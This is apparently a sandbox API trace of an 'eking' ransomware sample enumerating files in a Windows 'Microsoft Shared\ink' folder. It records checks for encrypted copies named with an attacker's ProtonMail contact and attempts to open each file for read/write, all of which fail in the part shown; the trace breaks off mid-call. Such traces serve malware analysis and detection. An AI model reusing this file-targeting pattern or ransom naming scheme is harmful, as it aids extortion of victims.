[0268.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0268.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.250] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.250] CloseHandle (hObject=0x100) returned 1 [0268.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0268.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0268.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.251] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1434) returned 1 [0268.251] CloseHandle (hObject=0x100) returned 1 [0268.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0268.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0268.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.252] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=212) returned 1 [0268.252] CloseHandle (hObject=0x100) returned 1 [0268.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0268.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0268.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.253] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=384) returned 1 [0268.253] CloseHandle (hObject=0x100) returned 1 [0268.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0268.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0268.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.254] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1118) returned 1 [0268.254] CloseHandle (hObject=0x100) returned 1 [0268.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0268.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0268.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.255] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=392) returned 1 [0268.255] CloseHandle (hObject=0x100) returned 1 [0268.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0268.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0268.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.256] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=727) returned 1 [0268.256] CloseHandle (hObject=0x100) returned 1 [0268.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0268.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0268.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.258] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3150) returned 1 [0268.258] CloseHandle (hObject=0x100) returned 1 [0268.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0268.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0268.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.260] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=247) returned 1 [0268.260] CloseHandle (hObject=0x100) returned 1 [0268.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0268.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0268.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.261] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3161) returned 1 [0268.261] CloseHandle (hObject=0x100) returned 1 [0268.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0268.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0268.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.262] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3166) returned 1 [0268.263] CloseHandle (hObject=0x100) returned 1 [0268.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0268.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0268.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.264] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=738) returned 1 [0268.264] CloseHandle (hObject=0x100) returned 1 [0268.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0268.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0268.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.265] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=804) returned 1 [0268.265] CloseHandle (hObject=0x100) returned 1 [0268.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0268.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0268.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.368] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=488) returned 1 [0268.368] CloseHandle (hObject=0x100) returned 1 [0268.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0268.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0268.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.369] SetEvent (hEvent=0xe0) returned 1 [0268.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.370] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=617) returned 1 [0268.370] CloseHandle (hObject=0x100) returned 1 [0268.371] GetFileAttributesW 